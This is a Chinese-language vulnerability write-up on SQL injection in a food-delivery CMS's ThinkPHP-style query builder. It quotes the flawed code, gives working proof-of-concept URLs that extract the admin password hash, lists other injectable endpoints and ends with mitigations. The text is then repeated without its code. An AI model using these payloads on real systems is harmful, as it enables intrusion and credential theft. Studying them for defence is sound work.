某CMS一处神奇的注入
字数 834 2025-08-29 08:31:48

某CMS SQL注入漏洞分析与利用教学文档

0x01 漏洞概述

本漏洞存在于某CMS(外卖系统)的数据库查询处理逻辑中,由于对特定数组形式的查询条件过滤不严,导致可构造恶意SQL语句实现注入攻击。该漏洞属于ThinkPHP框架类注入漏洞的变种。

0x02 漏洞分析

核心漏洞点

漏洞核心位于inc/Lib/Core/Db.class.php文件中的parseWhereItemparseValue方法:

protected function parseWhereItem($key,$val) {
    // ... 省略其他代码 ...
    if(is_array($val)) {
        if(is_string($val[0])) {
            if(preg_match('/^(EQ|NEQ|GT|EGT|LT|ELT)$/i',$val[0])) {
                // 比较运算
            } elseif(preg_match('/^(NOTLIKE|LIKE)$/i',$val[0])) {
                // 模糊查找
            } elseif('exp'==strtolower($val[0])) { // 使用表达式
                $whereStr .= ' ('.$key.' '.$val[1].') ';  // 漏洞点1:直接拼接未过滤
            } elseif(preg_match('/IN/i',$val[0])) {
                if(isset($val[2]) && 'exp'==$val[2]) {
                    $whereStr .= $key.' '.strtoupper($val[0]).' '.$val[1]; // 漏洞点2:直接拼接未过滤
                }
                // ... 省略其他代码 ...
            }
        }
    }
}

漏洞成因

  1. 过滤缺失:当val[0]为'exp'时,直接拼接val[1]到SQL语句中,未经过parseValue过滤
  2. 过滤缺失:当val[2]为'exp'且val[0]包含'IN'时,直接拼接val[1]到SQL语句中

调用链分析

完整的漏洞调用链如下:

find() -> select() -> buildSelectSql() -> parseSql() -> parseWhere() -> parseWhereItem()

0x03 漏洞利用

利用条件

  1. 存在调用find()方法的地方
  2. 可以控制传入find()的参数为一个数组
  3. 数组格式满足以下两种形式之一:
    • array(0 => 'exp', 1 => '恶意SQL')
    • array(0 => 'IN', 1 => '恶意SQL', 2 => 'exp')

利用POC

方式一:利用exp表达式

http://localhost:8888/waimai-master/index.php?m=product&a=index&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+

生成的SQL语句:

SELECT * FROM sn_article WHERE ((aid in ('XX'))/**/or substr((select userpass from sn_members where uid=1),1,1)='9') -- ) ) LIMIT 1

方式二:利用IN表达式

http://localhost:8888/waimai-master/index.php?m=product&a=index&id[0]=in%20(%27xx%27))/*&id[1]=*/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27%20--%20&id[2]=exp

其他可利用的接口

  1. 产品模块:
    /index.php?m=product&a=index
    
  2. 文章模块:
    /index.php?m=article&a=s
    
  3. 后台食品管理:
    /admin.php?&m=food&a=edit
    
  4. 后台食品分类:
    /admin.php?&m=foodcat&a=edit
    
  5. 后台订单管理:
    /admin.php?&m=order&a=detail
    /admin.php?&m=order&a=orderfour
    

0x04 防御措施

  1. 严格过滤:所有用户输入的参数都应经过严格的过滤和转义
  2. 参数化查询:使用预处理语句和参数化查询
  3. 权限控制:数据库账户应使用最小权限原则
  4. 代码审查:对类似parseWhereItem的关键函数进行严格审查
  5. 框架升级:使用最新版本的框架,避免已知漏洞

0x05 总结

该漏洞源于对特定格式的数组参数处理不当,导致SQL注入。攻击者可以通过构造特殊的数组参数绕过过滤机制,执行任意SQL语句。开发人员应特别注意对数组形式参数的处理,确保所有用户输入都经过适当的过滤和转义。

某CMS SQL注入漏洞分析与利用教学文档 0x01 漏洞概述 本漏洞存在于某CMS(外卖系统)的数据库查询处理逻辑中,由于对特定数组形式的查询条件过滤不严,导致可构造恶意SQL语句实现注入攻击。该漏洞属于ThinkPHP框架类注入漏洞的变种。 0x02 漏洞分析 核心漏洞点 漏洞核心位于 inc/Lib/Core/Db.class.php 文件中的 parseWhereItem 和 parseValue 方法: 漏洞成因 过滤缺失 :当 val[0] 为'exp'时,直接拼接 val[1] 到SQL语句中,未经过 parseValue 过滤 过滤缺失 :当 val[2] 为'exp'且 val[0] 包含'IN'时,直接拼接 val[1] 到SQL语句中 调用链分析 完整的漏洞调用链如下: 0x03 漏洞利用 利用条件 存在调用 find() 方法的地方 可以控制传入 find() 的参数为一个数组 数组格式满足以下两种形式之一: array(0 => 'exp', 1 => '恶意SQL') array(0 => 'IN', 1 => '恶意SQL', 2 => 'exp') 利用POC 方式一:利用exp表达式 生成的SQL语句: 方式二:利用IN表达式 其他可利用的接口 产品模块: 文章模块: 后台食品管理: 后台食品分类: 后台订单管理: 0x04 防御措施 严格过滤 :所有用户输入的参数都应经过严格的过滤和转义 参数化查询 :使用预处理语句和参数化查询 权限控制 :数据库账户应使用最小权限原则 代码审查 :对类似 parseWhereItem 的关键函数进行严格审查 框架升级 :使用最新版本的框架,避免已知漏洞 0x05 总结 该漏洞源于对特定格式的数组参数处理不当,导致SQL注入。攻击者可以通过构造特殊的数组参数绕过过滤机制,执行任意SQL语句。开发人员应特别注意对数组形式参数的处理,确保所有用户输入都经过适当的过滤和转义。